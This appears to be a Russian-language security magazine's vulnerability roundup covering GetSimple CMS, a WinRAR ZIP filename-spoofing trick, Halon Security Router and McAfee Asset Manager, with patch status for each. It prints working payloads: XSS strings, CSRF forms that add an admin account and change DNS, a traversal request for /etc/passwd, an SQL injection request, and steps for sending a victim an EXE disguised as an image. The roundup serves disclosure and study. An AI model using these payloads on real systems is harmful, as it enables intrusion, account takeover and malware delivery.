Сегодня мы проанализируем, что может произойти, если программа добавляет в открытый формат свои собственные поля, а также рассмотрим различные уязвимости в популярных CMS и фреймворке.

 

Различные уязвимости в GetSimple CMS 3.3.1

  • CVSSv2: N/A
  • Дата релиза: 24 марта 2014 года
  • Автор: Jeroen — IT Nerdbox
  • CVE: N/A

Начнем наш обзор с нескольких уязвимостей, которые были найдены в CMS GetSimple, позиционирующей себя как очень простую в использовании. Так как часть уязвимостей — это XSS, то рассмотрим сразу эксплойты.

 

Warning!

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

EXPLOIT

  1. Хранимая XSS была найдена в административном интерфейсе настроек, где в поляхname и permalink из-за недостаточных проверок можно вставить вредоносный код, который будет сохранен в XML-файл.Для проверки вводим в поле Display name по URL-адресуhttp://site.com/admin/settings.php следующий код:
    Admin"><script>alert("1");</script>
    

    Хранимая XSS-уязвимость в GetSimple CMS 3.3.1
    Хранимая XSS-уязвимость в GetSimple CMS 3.3.1
  2. Следующая уязвимость была также найдена в административном интерфейсе в модуле, ответственном за логи, log.php, в параметре log, но относится она к отраженным XSS:
    http://site.com/admin/log.php?log=test.log<img/src="> "onerror=prompt(document.cookie)>
    

    Отраженная XSS-уязвимость в GetSimple CMS 3.3.1
    Отраженная XSS-уязвимость в GetSimple CMS 3.3.1
  3. Третья ошибка была найдена в модуле восстановления пароля и позволяет собрать имена пользователей, которые есть в системе. Система выводит разные сообщения для существующих и несуществующих пользователей.

    Ошибка в GetSimple CMS 3.3.1, по которой можно определить, есть ли такое имя в системе
    Ошибка в GetSimple CMS 3.3.1, по которой можно определить, есть ли такое имя в системе
  4. Последняя уязвимость опять была найдена в модуле восстановления доступа. Механизм восстановления пароля сразу сбрасывает пароль по запросу без каких-либо дополнительных проверок. Вследствие этого атакующий может отправлять запросы каждую N секунду, когда пользователь авторизуется в системе. Другой эффект от этой уязвимости позволяет «забомбить» почту пользователя большим количеством сообщений о сброшенном пароле.

Эффективный путь решить эту проблему — высылать ссылку для сброса на почту пользователя.

Автор уязвимостей также записал видео для демонстрации уязвимостей и выложил на своем YouTube-канале.

TARGETS

GetSimple CMS 3.3.1.

SOLUTION

На момент написания статьи о патче не было известно.

 

Уязвимость нулевого дня в WinRAR

  • CVSSv2: N/A
  • Дата релиза: 23 марта 2014 года
  • Автор: chr1x, An7i
  • CVE: N/A

Теперь рассмотрим «0day»-уязвимость в популярном архиваторе WinRAR от компании RARLAB. Пусть тебя не смущает, что уязвимость нулевого дня в кавычках. Как пишут источники, уязвимость была найдена еще 28 сентября 2009 года (добавлена в базу OSVDB), но при этом успешно эксплуатируется на версиях программы 2012 и выше. Также эта техника была замечена при использовании в атаках за март 2014-го.

Начнем с небольшой схемы ZIP-формата, представленной на скриншоте.

Схема ZIP-формата
Схема ZIP-формата

Как ты видишь, смещение (offset), равное 30, указывает на имя сжатого файла.

Когда исследователь сжал файл с помощью программы WinRAR, указав метод сжатия ZIP Format, то увидел, что структура полученного файла схожа, но WinRAR добавил несколько собственных свойств. Для лучшего понимания посмотрим на скриншот, где мы сжимаем файл с именем Test1.txt и данными AAAAA в формате ZIP.

Пример дополнительного поля, созданного программой WinRAR
Пример дополнительного поля, созданного программой WinRAR

Как ты заметил, WinRAR вставил дополнительное поле file name внутрь сжатого файла. После небольшого анализа было установлено, что второе имя дается файлу после его разархивирования. А первое имя используется для отображения в главном окне WinRAR при просмотре архива.

Причем никакой проверки на идентичность нет, что позволяет нам в качестве первого имени использовать безобидные ReadMe.txt или Небо.jpg, а вот вторым реальным будет исполняемый файл с расширением exe или bat.

EXPLOIT

Для проверки достаточно воспроизвести следующие этапы:

  1. Берем любой исполняемый файл, например очень любимый нами калькуляторcalc.exe.
  2. Упаковываем его с помощью WinRAR, выбрав формат ZIP.
  3. Открываем полученный файл с помощью редактора и меняем расширение в первом имени. На скриншоте я специально открыл один и тот же файл для демонстрации того, что между вторым и первым именем лежит сжатая информация.

    Замена расширения в полученном архиве
    Замена расширения в полученном архиве
  4. Отсылаем полученный файл жертве.

    Открытие «изображения» в программе WinRAR
    Открытие «изображения» в программе WinRAR

В принципе, от такой атаки можно защититься или ты даже ее не заметишь, если всегда используешь опцию архиватора «Распаковать сюда/в…». Но и это можно обойти.

В одном из исследований, описывающих атаку с использованием этой технологии, показали фишинговое письмо, в котором было написано, что архив запаролен и пользователь открывал его через архиватор. После чего появлялось фейковое сообщение с просьбой ввести пароль.

Теперь, если использовать эту уязвимость вместе с другой известной уязвимостью в WindowsUnicode RLO Spoofing, становится ясен вектор атаки. Суть в том, что реальное имя файла, например Fede.jpg.exe, Windows покажет пользователю как Fedexe..jpg. То есть, объединив эти технологии, получаем, что, открыв через WinRAR архив, пользователь увидит изображение. Если пользователь вначале распакует файлы, то все равно увидит изображение, но в обоих случаях запустит в итоге EXE-файл.

Также для этой уязвимости был написан Metasploit-модуль, который ты можешь вызвать через команду

use exploits/windows/fileformat/winrar_name_spoofing.rb

TARGETS

WinRAR 3.80; WinRAR 4.20.

SOLUTION

Есть исправление от производителя.

 

Многочисленные уязвимости в Halon Security Router (SR) 3.2-winter-r1

  • CVSSv2:
    1. 5.5 (AV:N/AC:L/Au:S/C:P/I:P/A:N)
    2. 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
    3. 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
  • Дата релиза: 7 апреля 2014 года
  • Автор: Juan Manuel Garcia
  • CVE: N/A

Разбавим наш обзор уже стабильными уязвимостями в роутерах. Сегодня рассмотрим серию ошибок в Security Router от компании Halon, найденных компанией ITforce.

EXPLOIT

  1. Отраженные XSS. Параметр log:
    http://sr.demo.halon.se/commands/logviewer/?log=vic0';</script><script>alert(1)</script>
    

    Параметр file:

    http://sr.demo.halon.se/fileviewer/?file=";</script><script>alert(1)</script>
    

    Параметр graph:

    http://sr.demo.halon.se/system/graphs/?graph='+alert(1)+'
    

    Параметр command:

    http://sr.demo.halon.se/commands/?command='+alert(1)+'
    

    Параметр id:

    http://sr.demo.halon.se/system/users/?id='+alert(1)+'
    

    Параметр uri:

    http://sr.demo.halon.se/config/?uri='+alert(1)+'
    

    Другие параметры, возможно, также уязвимы.

  2. CSRFПервая функция позволяет добавить пользователя /system/users/?add=user. Пример атаки:
    <html>
    <body>
    <form method="POST" name="form0" action="http://localhost:80/system/users/?add=user">
    <input type="hidden" name="checkout" value="17"/>
    <input type="hidden" name="apply" value=""/>
    <input type="hidden" name="id" value=""/>
    <input type="hidden" name="old_user" value=""/>
    <input type="hidden" name="user" value="hacker"/>
    <input type="hidden" name="full-name" value="ITFORCE H4x0r"/>
    <input type="hidden" name="class" value=""/>
    <input type="hidden" name="password" value="1234"/>
    <input type="hidden" name="password2" value="1234"/>
    </form>
    </body>
    </html>
    

    Другая же изменяет DNS-конфигурацию /network/dns:

    <html>
    <body>
    <form method="POST" name="form0" action="http://localhost:80/network/dns/">
    <input type="hidden" name="checkout" value="17"/>
    <input type="hidden" name="apply" value=""/>
    <input type="hidden" name="name-servers" value="8.8.8.8"/>
    <input type="hidden" name="search-domain" value=""/>
    <input type="hidden" name="host-name" value="sr.demo.halon.se"/>
    </form>
    </body>
    </html>
    

    Уязвимы также следующие функции в модуле network:

    Network Configuration: http://xxx.xxx.xxx.xxx/network/basic
    Load Balancer Configuration: http://xxx.xxx.xxx.xxx/network/loadbalancer
    VPN Configuration: http://xxx.xxx.xxx.xxx/network/vpn
    Firewall Configuration: http://xxx.xxx.xxx.xxx/network/firewall
    
  3. Открытый редирект. Уязвим параметр uri в следующих запросах:
    http://sr.demo.halon.se/cluster/?switch_to=&uri=http://itforce.tk
    http://sr.demo.halon.se/config/?checkout=17&uri=http://itforce.tk
    

TARGETS

Halon Security Router (SR) 3.2-winter-r1.

SOLUTION

Установить или обновить до (SR) v3.2r2.

 

Различные уязвимости в McAfee Asset Manager 6.6

  • CVSSv2: 4.0 (AV:R/AC:L/Au:S/C:P/I:N/A:N)
  • Дата релиза: 18 марта 2014 года
  • Автор: Brandon Perry
  • CVE: 2014-2586

Исследователь Брэндон Перри (Brandon Perry) нашел серию уязвимостей в продукте от крупной ИБ-компании McAfee Asset Manager. Она используется во многих компаниях для мониторинга сети в реальном времени.

Первой появилась XSS-уязвимость, о которой автор написал в своем твиттере с пометкой 0day. Позже появилось письмо в рассылке seclists с дополнительными и более интересными ошибками, которые мы и рассмотрим дальше.

EXPLOIT

Первая уязвимость позволяет использовать неавторизованную XSS. Например, попытаемся залогиниться с такими данными: <b>fdsa</b>:password. После этого, как ты видишь на скриншоте, пользователь с достаточными правами увидит в логах попытку авторизоваться и выделенным именем.

Пример вставки произвольного HTML-кода при неправильной аутентификации в McAfee Asset Manager
Пример вставки произвольного HTML-кода при неправильной аутентификации в McAfee Asset Manager

Следующая уязвимость позволяет скачивать произвольные файлы с такими же правами доступа, что использует веб-сервер для выгрузки отчетов. Для генерации отчета пользователь делает запрос на servlet/downloadReport?reportFileName=blah. Вследствие этого атакующий может провести атаку directory traversal и скачать файл /etc/passwd.

Пример запроса:

GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwd&format=CSV HTTP/1.1
...
Referer: https://172.31.16.167/Inventory?filterColumns=&curViewId=-1&maintainQuery=true&format=search&collectorId=null&criticality=0&pageNum=1&location=Inventory&viewSelect=-999999&filterValueField=&orderBy=FIREWALLED&orderBy2=SITE&orderBy3=CRITICALITY_NAME&wsz=200&wszCtrl_1=200&action=AUDIT_REDISCOVER&formatSelect=
...

И последняя на сегодня уязвимость — SQL-инъекция.

Непривилегированный, но авторизованный пользователь может инициировать атаку с использованием SQL-инъекции, создав отчет по аудиту и контролируя имя пользователя в этом отчете. Уязвимым является параметр user, а сам запрос выглядит примерно следующим образом:

POST /jsp/reports/ReportsAudit.jsp HTTP/1.1
Host: 
...
fromDate=03-19-2014&toDate=03-19-2014&freetext=&Severity=0&AuditType=12&user=Administrator

TARGETS

McAfee Asset Manager v6.6.

SOLUTION

Есть исправление от производителя.

Оставить мнение

Check Also

Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat

В этой статье мы поговорим о баге в Apache Tomcat, популярнейшем веб-сервере для сайтов на…